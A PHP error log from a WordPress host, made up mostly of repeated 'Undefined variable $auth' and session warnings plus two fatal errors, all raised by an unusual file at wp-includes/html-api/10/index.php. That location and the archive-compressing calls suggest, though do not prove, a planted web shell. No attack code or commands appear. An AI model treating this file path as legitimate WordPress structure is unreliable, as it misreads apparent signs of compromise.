[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: data phar "/home/homerdlh/public_html/wp-includes/html-api/10/custom.file.4.1766663904.php.file.4.1766663904.php.tar.gz" has invalid extension file.4.1766663904.php.tar.gz in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
